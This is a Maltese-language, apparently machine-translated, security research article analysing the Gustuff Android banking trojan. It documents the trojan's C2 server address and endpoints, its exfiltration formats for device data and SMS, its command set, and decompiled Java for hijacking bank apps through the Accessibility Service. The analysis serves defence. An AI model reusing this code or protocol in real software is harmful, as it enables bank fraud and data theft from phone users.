Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek

Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek

Il-ġurnata l-oħra Grupp-IB infurmat dwar l-attività tal-mobile Android Trojan Gustuff. Jaħdem esklussivament fis-swieq internazzjonali, jattakka klijenti tal-100 akbar banek barranin, utenti ta 'kartieri kripto mobbli 32, kif ukoll riżorsi kbar tal-kummerċ elettroniku. Iżda l-iżviluppatur ta' Gustuff huwa cybercriminal li jitkellem ir-Russu taħt il-laqam Bestoffer. Sa ftit ilu, huwa faħħar lit-Trojan tiegħu bħala "prodott serju għal nies b'għarfien u esperjenza."

Speċjalista tal-analiżi tal-kodiċi malizzjuż fi Group-IB Ivan Pisarev fir-riċerka tiegħu, jitkellem fid-dettall dwar kif jaħdem Gustuff u x’inhuma l-perikli tiegħu.

Għal min qed jikkaċċa Gustuff?

Gustuff jappartjeni għal ġenerazzjoni ġdida ta 'malware b'funzjonijiet kompletament awtomatizzati. Skont l-iżviluppatur, it-Trojan sar verżjoni ġdida u mtejba tal-malware AndyBot, li minn Novembru 2017 ilu jattakka telefowns Android u jisraq il-flus permezz ta 'formoli tal-web tal-phishing maskra bħala applikazzjonijiet mobbli ta' banek internazzjonali magħrufa sew u sistemi ta 'ħlas. Bestoffer irrapporta li l-prezz tal-kiri ta’ Gustuff Bot kien ta’ $800 fix-xahar.

Analiżi tal-kampjun Gustuff wriet li t-Trojan qed jimmira potenzjalment lill-klijenti li jużaw applikazzjonijiet mobbli tal-akbar banek, bħal Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, kif ukoll crypto wallets Bitcoin Wallet, BitPay, Cryptopay, Coinbase, eċċ.

Oriġinarjament maħluqa bħala Trojan bankarju klassiku, fil-verżjoni attwali Gustuff espandiet b'mod sinifikanti l-lista ta 'miri potenzjali għall-attakk. Minbarra l-applikazzjonijiet Android għal banek, kumpaniji fintech u servizzi kripto, Gustuff huwa mmirat lejn utenti ta 'applikazzjonijiet tas-suq, ħwienet online, sistemi ta' ħlas u messaġġiera instantanja. B'mod partikolari, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut u oħrajn.

Punt tad-dħul: kalkolu għall-infezzjoni tal-massa

Gustuff huwa kkaratterizzat mill-vettur "klassiku" ta 'penetrazzjoni fi smartphones Android permezz ta' mailings SMS b'links għal APKs. Meta apparat Android jiġi infettat bi Trojan fuq il-kmand tas-server, Gustuff jista' jkompli jinfirex permezz tad-database tal-kuntatt tat-telefon infettat jew permezz tad-database tas-server. Il-funzjonalità ta 'Gusuff hija mfassla għal infezzjoni tal-massa u kapitalizzazzjoni massima tan-negozju tal-operaturi tagħha - għandha funzjoni unika ta' "mili awtomatiku" f'applikazzjonijiet bankarji mobbli leġittimi u kartieri kripto, li jippermettilek tħaffef u tiskala s-serq ta 'flus.

Studju tat-Trojan wera li l-funzjoni tal-mili awtomatika ġiet implimentata fiha bl-użu tas-Servizz tal-Aċċessibilità, servizz għall-persuni b’diżabilità. Gustuff mhuwiex l-ewwel Trojan li b'suċċess jevita l-protezzjoni kontra l-interazzjoni ma 'elementi ta' tieqa ta 'applikazzjonijiet oħra li jużaw dan is-servizz Android. Madankollu, l-użu tas-Servizz ta' Aċċessibilità flimkien ma' mili tal-karozzi għadu pjuttost rari.

Wara li tniżżel fuq it-telefon tal-vittma, Gustuff, bl-użu tas-Servizz ta 'Aċċessibilità, huwa kapaċi jinteraġixxi ma' elementi ta 'tieqa ta' applikazzjonijiet oħra (bankarji, munita kripto, kif ukoll applikazzjonijiet għal xiri onlajn, messaġġi, eċċ.), billi jwettaq l-azzjonijiet meħtieġa għall-attakkanti. . Pereżempju, fuq il-kmand tas-server, Trojan jista 'jgħafas buttuni u jibdel il-valuri tal-oqsma tat-test f'applikazzjonijiet bankarji. L-użu tal-mekkaniżmu tas-Servizz tal-Aċċessibilità jippermetti lit-Trojan jevita l-mekkaniżmi tas-sigurtà użati mill-banek biex jiġġieldu kontra trojans mobbli tal-ġenerazzjoni preċedenti, kif ukoll bidliet fil-politika tas-sigurtà implimentati minn Google f'verżjonijiet ġodda tal-OS Android. Għalhekk, Gustuff "jaf kif" jiskonnettja l-protezzjoni ta 'Google Protect: skond l-awtur, din il-funzjoni taħdem f'70% tal-każijiet.

Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek

Gustuff jista 'wkoll juri notifiki PUSH foloz b'ikoni ta' applikazzjonijiet mobbli leġittimi. L-utent jikklikkja fuq in-notifika PUSH u jara tieqa tal-phishing imniżżla mis-server, fejn idaħħal il-karta tal-bank mitluba jew id-dejta tal-kartiera kripto. F'xenarju ieħor ta' Gustuff, tinfetaħ l-applikazzjoni li f'isimha ġiet murija n-notifika PUSH. F'dan il-każ, il-malware, fuq kmand mis-server permezz tas-Servizz ta 'Aċċessibilità, jista' jimla l-oqsma tal-formola ta 'applikazzjoni bankarja għal tranżazzjoni frawdolenti.

Il-funzjonalità ta’ Gustuff tinkludi wkoll li tibgħat informazzjoni dwar apparat infettat lis-server, il-ħila li taqra/tibgħat messaġġi SMS, tibgħat talbiet USSD, tniedi SOCKS5 Proxy, wara link, tibgħat fajls (inklużi skans tar-ritratti ta’ dokumenti, screenshots, ritratti) lill- server, reset l-apparat għas-settings tal-fabbrika.

Analiżi tal-malware

Qabel ma tinstalla applikazzjoni malizzjuża, l-Android OS juri lill-utent tieqa li fiha lista ta’ drittijiet mitluba minn Gustuff:

Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek
L-applikazzjoni tiġi installata biss wara li tirċievi l-kunsens tal-utent. Wara li tniedi l-applikazzjoni, it-Trojan juri tieqa lill-utent:

Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek
Wara dan se tneħħi l-ikona tagħha.

Gustuff huwa ppakkjat, skont l-awtur, minn min jippakkja minn FTT. Wara l-istartjar, l-applikazzjoni perjodikament tikkuntattja lis-server CnC biex tirċievi kmandi. Diversi fajls li eżaminajna użaw indirizz IP bħala s-server tal-kontroll 88.99.171[.]105 (minn hawn 'il quddiem se nindikawh bħala <%CnC%>).

Wara t-tnedija, il-programm jibda jibgħat messaġġi lis-server http://<%CnC%>/api/v1/get.php.

Ir-rispons huwa mistenni li jkun JSON fil-format li ġej:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Kull darba li tiġi aċċessata l-applikazzjoni, hija tibgħat informazzjoni dwar l-apparat infettat. Il-format tal-messaġġ jidher hawn taħt. Ta 'min jinnota li l-oqsma sħiħa, żejda, apps и permess – fakultattiv u jintbagħat biss f'każ ta' kmand ta' talba minn CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Il-ħażna tad-dejta tal-konfigurazzjoni

Gustuff jaħżen informazzjoni operazzjonalment importanti f'fajl tal-preferenza. L-isem tal-fajl, kif ukoll l-ismijiet tal-parametri fih, huma r-riżultat tal-kalkolu tas-somma MD5 mis-sekwenza 15413090667214.6.1<%name%>fejn <%name%> — isem-valur inizjali. Interpretazzjoni Python tal-funzjoni tal-ġenerazzjoni tal-isem:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

F'dak li ġej se nindikawh bħala nameGenerator (input).
Allura l-ewwel isem tal-fajl huwa: nameGenerator ("API_SERVER_LIST"), fih valuri bl-ismijiet li ġejjin:

Isem varjabbli Valur
nameGenerator ("API_SERVER_LIST") Fih lista ta' indirizzi CnC fil-forma ta' firxa.
nameGenerator ("API_SERVER_URL") Fih l-indirizz CnC.
nameGenerator ("SMS_UPLOAD") Il-bandiera hija ssettjata awtomatikament. Jekk il-bandiera tkun issettjata, tibgħat messaġġi SMS lil CnC.
nameGenerator ("SMS_ROOT_NUMBER") Numru tat-telefon li għalih jintbagħtu l-messaġġi SMS riċevuti mill-apparat infettat. Default huwa null.
nameGenerator ("SMS_ROOT_NUMBER_RESEND") Il-bandiera hija mneħħija awtomatikament. Jekk installat, meta apparat infettat jirċievi SMS, dan jintbagħat lin-numru tal-għeruq.
nameGenerator ("DEFAULT_APP_SMS") Il-bandiera hija mneħħija awtomatikament. Jekk din il-bandiera tkun issettjata, l-applikazzjoni tipproċessa messaġġi SMS deħlin.
nameGenerator ("DEFAULT_ADMIN") Il-bandiera hija mneħħija awtomatikament. Jekk il-bandiera tkun issettjata, l-applikazzjoni għandha drittijiet ta' amministratur.
nameGenerator ("DEFAULT_ACCESSIBILITY") Il-bandiera hija mneħħija awtomatikament. Jekk il-bandiera tkun issettjata, ikun qed jaħdem servizz li juża s-Servizz ta' Aċċessibilità.
nameGenerator ("APPS_CONFIG") Oġġett JSON li fih lista ta' azzjonijiet li jridu jitwettqu meta jiġi attivat avveniment ta' Aċċessibilità assoċjat ma' applikazzjoni speċifika.
nameGenerator ("APPS_INSTALLED") Taħżen lista ta' applikazzjonijiet installati fuq it-tagħmir.
nameGenerator ("IS_FIST_RUN") Il-bandiera hija reset fl-ewwel bidu.
nameGenerator ("UNIQUE_ID") Fih identifikatur uniku. Ġenerat meta l-bot jitnieda għall-ewwel darba.

Modulu għall-ipproċessar tal-kmandi mis-server

L-applikazzjoni taħżen l-indirizzi tas-servers CnC fil-forma ta 'firxa kodifikata minn Bażi85 linji. Il-lista ta 'servers CnC tista' tinbidel malli tirċievi l-kmand xieraq, f'liema każ l-indirizzi se jinħażnu f'fajl tal-preferenza.

Bi tweġiba għat-talba, is-server jibgħat kmand lill-applikazzjoni. Ta 'min jinnota li l-kmandi u l-parametri huma ppreżentati f'format JSON. L-applikazzjoni tista' tipproċessa l-kmandi li ġejjin:

Team Deskrizzjoni
forwardStart Ibda tibgħat messaġġi SMS riċevuti mill-apparat infettat lis-server CnC.
quddiemStop Tieqaf tibgħat messaġġi SMS riċevuti mill-apparat infettat lis-server CnC.
ussdRun Esegwi t-talba USSD. In-numru li għalih għandek bżonn tagħmel talba USSD jinsab fil-qasam JSON "numru".
ibgħatSms Ibgħat messaġġ SMS wieħed (jekk meħtieġ, il-messaġġ huwa "qasmu" f'partijiet). Bħala parametru, il-kmand jieħu oġġett JSON li fih l-oqsma "sa" - in-numru tad-destinazzjoni u "korp" - il-korp tal-messaġġ.
ibgħatSmsAb Ibgħat messaġġi SMS (jekk meħtieġ, il-messaġġ huwa "maqsuma" f'partijiet) lil kulħadd fil-lista ta 'kuntatti tal-apparat infettat. L-intervall bejn il-messaġġi li jintbagħtu huwa ta' 10 sekondi. Il-korp tal-messaġġ jinsab fil-qasam JSON "body"
ibgħatSmsMass Ibgħat messaġġi SMS (jekk meħtieġ, il-messaġġ huwa "maqsuma" f'partijiet) lill-kuntatti speċifikati fil-parametri tal-kmand. L-intervall bejn il-messaġġi li jintbagħtu huwa ta' 10 sekondi. Bħala parametru, il-kmand jieħu firxa JSON (il-qasam "sms"), li l-elementi tiegħu fihom l-oqsma "li" - in-numru tad-destinazzjoni u "korp" - il-korp tal-messaġġ.
changeServer Dan il-kmand jista 'jieħu valur biċ-ċavetta "url" bħala parametru - allura l-bot se jibdel il-valur ta' nameGenerator ("SERVER_URL"), jew "array" - allura l-bot se jikteb l-array għal nameGenerator ("API_SERVER_LIST") Għalhekk, l-applikazzjoni tbiddel l-indirizz tas-servers CnC.
adminNumber Il-kmand huwa ddisinjat biex jaħdem b'numru għerq. Il-kmand jaċċetta oġġett JSON bil-parametri li ġejjin: "numru" - ibdel nameGenerator ("ROOT_NUMBER") għall-valur riċevut, "resend" - ibiddel nameGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - ibgħat lil nameGenerator ("ROOT_NUMBER" ) uniqueID.
taġġorna l-Informazzjoni Ibgħat informazzjoni dwar l-apparat infettat lis-server.
Ħassar id-data Il-kmand huwa maħsub biex iħassar id-dejta tal-utent. Skont liema isem ġiet imnedija l-applikazzjoni, jew id-dejta titħassar kompletament b'reboot tal-apparat (utent primarju), jew id-dejta tal-utent biss titħassar (utent sekondarju).
kalzettiStart Tnedija tal-modulu Proxy. It-tħaddim tal-modulu huwa deskritt f'sezzjoni separata.
kalzettiStop Waqqaf il-modulu Proxy.
openLink Segwi l-link. Il-link tinsab fil-parametru JSON taħt iċ-ċavetta "url". “android.intent.action.VIEW” jintuża biex tiftaħ il-link.
uploadAllSms Ibgħat il-messaġġi SMS kollha riċevuti mill-apparat lis-server.
uploadAllPhotos Ibgħat immaġini minn apparat infettat għal URL. Il-URL jiġi bħala parametru.
uploadFile Ibgħat fajl lil URL minn apparat infettat. Il-URL jiġi bħala parametru.
uploadPhoneNumbers Ibgħat numri tat-telefon mil-lista tal-kuntatti tiegħek lis-server. Jekk valur ta 'oġġett JSON biċ-ċavetta "ab" jiġi riċevut bħala parametru, l-applikazzjoni tirċievi lista ta' kuntatti mill-ktieb tat-telefon. Jekk oġġett JSON biċ-ċavetta "sms" jiġi riċevut bħala parametru, l-applikazzjoni taqra l-lista ta 'kuntatti minn min jibgħat il-messaġġi SMS.
changeArchive L-applikazzjoni tniżżel il-fajl mill-indirizz li jiġi bħala parametru billi tuża ċ-ċavetta "url". Il-fajl imniżżel jiġi ffrankat bl-isem "archive.zip". L-applikazzjoni mbagħad se tħoll il-fajl, b'għażla billi tuża l-password tal-arkivju "b5jXh37gxgHBrZhQ4j3D". Il-fajls unzipped huma ssejvjati fid-direttorju [ħażna esterna]/hgps. F'dan id-direttorju, l-applikazzjoni taħżen foloz tal-web (deskritti hawn taħt).
azzjonijiet Il-kmand huwa ddisinjat biex jaħdem ma 'Action Service, li huwa deskritt f'sezzjoni separata.
test Ma tagħmel xejn.
download Il-kmand huwa maħsub biex tniżżel fajl minn server remot u tissejvjah fid-direttorju "Downloads". L-URL u l-isem tal-fajl jiġu bħala parametru, oqsma fl-oġġett tal-parametru JSON, rispettivament: "url" u "fileName".
neħħi Tneħħi fajl mid-direttorju "Downloads". L-isem tal-fajl jiġi f'parametru JSON biċ-ċavetta "fileName". L-isem tal-fajl standard huwa "tmp.apk".
notifika Uri notifika bid-deskrizzjoni u t-testi tat-titlu definiti mis-server tal-ġestjoni.

Format tal-Kmand notifika:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

In-notifika ġġenerata mill-fajl taħt investigazzjoni tidher identika għan-notifiki ġġenerati mill-applikazzjoni speċifikata fil-qasam app. Jekk il-valur tal-qasam openApp — Veru, meta tinfetaħ notifika, titnieda l-applikazzjoni speċifikata fil-qasam app. Jekk il-valur tal-qasam openApp — Falz, allura:

  • Tinfetaħ tieqa tal-phishing, li l-kontenut tagħha jitniżżel mid-direttorju <%ħażna esterna%>/hgps/<%filename%>
  • Tinfetaħ tieqa tal-phishing, li l-kontenut tagħha jitniżżel mis-server <%url%>?id=<%Bot id%>&app=<%Isem tal-applikazzjoni%>
  • Tinfetaħ tieqa tal-phishing, moħbija bħala Google Play Card, bl-opportunità li tiddaħħal id-dettalji tal-karta.

L-applikazzjoni tibgħat ir-riżultat ta 'kwalunkwe kmand lil <%CnC%>set_state.php bħala oġġett JSON fil-format li ġej:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Servizz ta' Azzjonijiet
Il-lista ta 'kmandi li l-applikazzjoni tipproċessa tinkludi azzjoni. Meta jiġi riċevut kmand, il-modulu tal-ipproċessar tal-kmand jaċċessa dan is-servizz biex jesegwixxi l-kmand estiż. Is-servizz jaċċetta oġġett JSON bħala parametru. Is-servizz jista’ jesegwixxi l-kmandi li ġejjin:

1. PARAMS_ACTION — meta jirċievi kmand bħal dan, is-servizz l-ewwel jirċievi mill-parametru JSON il-valur taċ-ċavetta tat-Tip, li jista’ jkun kif ġej:

  • Servizz Info – is-sottokmand jikseb il-valur biċ-ċavetta mill-parametru JSON includeNotImportant. Jekk il-bandiera hija Vera, l-applikazzjoni tistabbilixxi l-bandiera FLAG_ISOLATED_PROCESS għal servizz li juża s-Servizz ta’ Aċċessibilità. B'hekk is-servizz se jitnieda fi proċess separat.
  • għeruq — tirċievi u tibgħat lis-server informazzjoni dwar it-tieqa li bħalissa qed tiffoka. L-applikazzjoni tikseb informazzjoni billi tuża l-klassi AccessibilityNodeInfo.
  • admin — titlob drittijiet ta' amministratur.
  • dewmien — tissospendi l-ActionsService għan-numru ta' millisekondi speċifikat fil-parametru għaċ-ċavetta “data”.
  • twieqi — ibgħat lista ta' twieqi viżibbli għall-utent.
  • jinstallaw — tinstalla l-applikazzjoni fuq l-apparat infettat. L-isem tal-pakkett tal-arkivju jinsab fiċ-ċavetta "fileName". L-arkivju nnifsu jinsab fid-direttorju tad-Downloads.
  • globali – is-sottokmand huwa maħsub biex jinnaviga mit-tieqa attwali:
    • fuq il-menu Quick Settings
    • lura
    • dar
    • għan-notifiki
    • għat-tieqa tal-applikazzjonijiet li nfetħet dan l-aħħar

  • tniedi - tniedi l-applikazzjoni. L-isem tal-applikazzjoni jiġi bħala parametru b'ċavetta data.
  • ħsejjes — ibdel il-mod tal-ħoss għal silenzju.
  • nisfruttaw — jixgħel id-dawl ta' wara tal-iskrin u t-tastiera għal luminożità sħiħa. L-applikazzjoni twettaq din l-azzjoni billi tuża WakeLock, u tispeċifika s-sekwenza [Application lable]:INFO bħala tikketta
  • permissionOverlay — il-funzjoni mhix implimentata (ir-rispons għall-eżekuzzjoni tal-kmand huwa {"message":"Mhux appoġġ"} jew {"messaġġ":"sdk baxx"})
  • ġest — il-funzjoni mhix implimentata (ir-rispons għall-eżekuzzjoni tal-kmand huwa {"message":"Mhux appoġġ"}jew {"message":"API Baxxa"})
  • permessi — dan il-kmand huwa meħtieġ biex jintalbu permessi għall-applikazzjoni. Madankollu, il-funzjoni tal-mistoqsija mhix implimentata, għalhekk il-kmand huwa bla sens. Il-lista tad-drittijiet mitluba tiġi bħala firxa JSON biċ-ċavetta "permessi". Lista standard:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • tiftaħ — turi tieqa tal-phishing. Skont il-parametru li ġej mis-server, l-applikazzjoni tista’ turi t-twieqi tal-phishing li ġejjin:
    • Uri tieqa tal-phishing li l-kontenut tagħha huwa miktub f'fajl f'direttorju <%direttorju estern%>/hgps/<%param_filename%>. Ir-riżultat tal-interazzjoni tal-utent mat-tieqa se jintbagħat lil <%CnC%>/records.php
    • Uri tieqa tal-phishing li l-kontenut tagħha jitgħabba minn qabel mill-indirizz <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Ir-riżultat tal-interazzjoni tal-utent mat-tieqa se jintbagħat lil <%CnC%>/records.php
    • Uri tieqa tal-phishing moħbija bħala Google Play Card.

  • interattiv — il-kmand huwa ddisinjat biex jinteraġixxi ma’ elementi ta’ tieqa ta’ applikazzjonijiet oħra bl-użu ta’ AcessibilityService. Servizz speċjali ġie implimentat fil-programm għall-interazzjoni. L-applikazzjoni taħt investigazzjoni tista' tinteraġixxi mat-twieqi:
    • Bħalissa attiv. F'dan il-każ, il-parametru fih l-id jew it-test (isem) tal-oġġett li miegħu għandek bżonn jinteraġixxu.
    • Viżibbli għall-utent fil-ħin li jiġi esegwit il-kmand. L-applikazzjoni tagħżel twieqi mill-id.

    Wara li rċieva oġġetti AccessibilityNodeInfo Għal elementi ta 'interess tat-twieqi, l-applikazzjoni, skond il-parametri, tista' twettaq l-azzjonijiet li ġejjin:

    • fokus — iffoka fuq l-oġġett.
    • ikklikkja — ikklikkja fuq oġġett.
    • actionId — twettaq azzjoni b'ID.
    • setText — ibiddel it-test ta' oġġett. It-tibdil tat-test huwa possibbli f'żewġ modi: twettaq azzjoni ACTION_SET_TEXT (jekk il-verżjoni Android tal-apparat infettat hija iżgħar minn jew ugwali għal LOLLIPOP), jew billi tpoġġi spag fuq il-clipboard u twaħħalha f'oġġett (għal verżjonijiet eqdem). Dan il-kmand jista' jintuża biex tinbidel id-dejta f'applikazzjoni bankarja.

2. PARAMS_ACTIONS - l-istess bħal PARAMS_ACTION, tasal biss firxa JSON ta 'kmandi.

Jidher li ħafna nies se jkunu interessati f'liema l-funzjoni ta 'interazzjoni ma' elementi ta 'tieqa ta' applikazzjoni oħra tidher qisha. Dan huwa kif din il-funzjonalità hija implimentata f'Gusuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funzjoni ta' sostituzzjoni tat-test:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Għalhekk, bil-konfigurazzjoni korretta tas-server tal-kontroll, Gustuff huwa kapaċi jimla l-oqsma tat-test fl-applikazzjoni bankarja u kklikkja fuq il-buttuni meħtieġa biex tlesti t-tranżazzjoni. It-Trojan lanqas biss jeħtieġ li jidħol fl-applikazzjoni — huwa biżżejjed li tibgħat kmand biex turi notifika PUSH u mbagħad tiftaħ l-applikazzjoni bankarja installata qabel. L-utent se jawtentika lilu nnifsu, u wara Gustuff ikun jista' jimla l-karozza.

Modulu għall-ipproċessar tal-messaġġ SMS

L-applikazzjoni tinstalla event handler għall-apparat infettat biex jaċċetta messaġġi SMS. L-applikazzjoni taħt studju tista 'tirċievi kmandi mill-operatur, li jidħlu fil-korp tal-messaġġ SMS. Il-kmandi jiġu fil-format:

7!5=<%kmand kodifikat Base64%>

L-applikazzjoni tfittex is-sekwenza fil-messaġġi SMS kollha deħlin 7!5=, meta tiġi skoperta string, jiddekodifika s-sekwenza minn Base64 f'offset 4 u tesegwixxi l-kmand. Il-kmandi huma simili għal dawk b'CnC. Ir-riżultat tal-eżekuzzjoni jintbagħat lill-istess numru li minnu ġie l-kmand. Format tar-rispons:

7*5=<%Kodifika Base64 ta' “kmand tal-kodiċi_riżultat”%>

B'għażla, l-applikazzjoni tista 'tibgħat il-messaġġi kollha riċevuti lin-numru Root. Biex tagħmel dan, in-numru Root għandu jiġi speċifikat fil-fajl tal-preferenza u l-bandiera ta 'ridirezzjoni tal-messaġġ għandha tkun issettjata. Messaġġ SMS jintbagħat lin-numru tal-attakkant fil-format:

<%From number%> - <%Time, format: jj/XX/ssss HH:mm:ss%> <%SMS body%>

Ukoll, b'mod fakultattiv, l-applikazzjoni tista 'tibgħat messaġġi lil CnC. Il-messaġġ SMS jintbagħat lis-server fil-format JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Jekk il-bandiera tkun issettjata nameGenerator ("DEFAULT_APP_SMS") – l-applikazzjoni tieqaf tipproċessa l-messaġġ SMS u tneħħi l-lista tal-messaġġi deħlin.

Modulu prokura

L-applikazzjoni taħt studju fiha modulu Proxy Backconnect (minn hawn 'il quddiem imsejjaħ il-modulu Proxy), li għandu klassi separata li tinkludi oqsma statiċi b'konfigurazzjoni. Id-dejta tal-konfigurazzjoni hija maħżuna fil-kampjun f'forma ċara:

Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek

L-azzjonijiet kollha mwettqa mill-modulu Proxy huma illoggjati fil-fajls. Biex tagħmel dan, l-applikazzjoni fil-Ħażna Esterna toħloq direttorju msejjaħ "logs" (il-qasam ProxyConfigClass.logsDir fil-klassi tal-konfigurazzjoni), li fih jinħażnu fajls log. L-illoggjar iseħħ f'fajls bl-ismijiet:

  1. main.txt – ix-xogħol tal-klassi msejħa CommandServer huwa illoggjat f'dan il-fajl. F'dak li ġej, il-qtugħ tas-sekwenza str f'dan il-fajl se jkun indikat bħala mainLog(str).
  2. sessjoni-<%id%>.txt — dan il-fajl jiffranka d-dejta tal-log assoċjata ma’ sessjoni speċifika ta’ prokura. F'dak li ġej, il-qtugħ tas-sekwenza str għal dan il-fajl se jiġi indikat bħala sessionLog (str).
  3. server.txt – dan il-fajl jintuża biex jirreġistra d-dejta kollha miktuba fil-fajls deskritti hawn fuq.

Format tad-data log:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Eċċezzjonijiet li jseħħu waqt it-tħaddim tal-modulu Proxy huma wkoll illoggjati f'fajl. Biex tagħmel dan, l-applikazzjoni tiġġenera oġġett JSON fil-format li ġej:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Imbagħad tikkonvertiha f'rappreżentazzjoni ta' string u tirreġistraha.

Il-modulu Proxy jitnieda wara li jirċievi l-kmand korrispondenti. Meta jiġi riċevut kmand biex tniedi l-modulu Proxy, l-applikazzjoni tibda servizz imsejjaħ MainService, li huwa responsabbli għall-ġestjoni tal-operat tal-modulu Proxy - jibda u jwaqqafh.

Stadji tal-bidu tas-servizz:

1. Jibda tajmer li jaħdem darba fil-minuta u jiċċekkja l-attività tal-modulu Proxy. Jekk il-modulu ma jkunx attiv, jibdah.
Ukoll meta l-avveniment jiġi attivat android.net.conn.CONNECTIVITY_CHANGE Tnieda l-modulu Proxy.

2. L-applikazzjoni toħloq wake-lock bil-parametru PARTIAL_WAKE_LOCK u jaqbad lilu. Dan jipprevjeni lis-CPU tal-apparat milli jidħol fil-modalità sleep.

3. Tniedi l-klassi tal-ipproċessar tal-kmand tal-modulu Proxy, l-ewwel tiilloggja l-linja mainLog ("bidu server") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

fejn proxy_cnc, command_port u proxy_port – parametri miksuba mill-konfigurazzjoni tas-server Proxy.

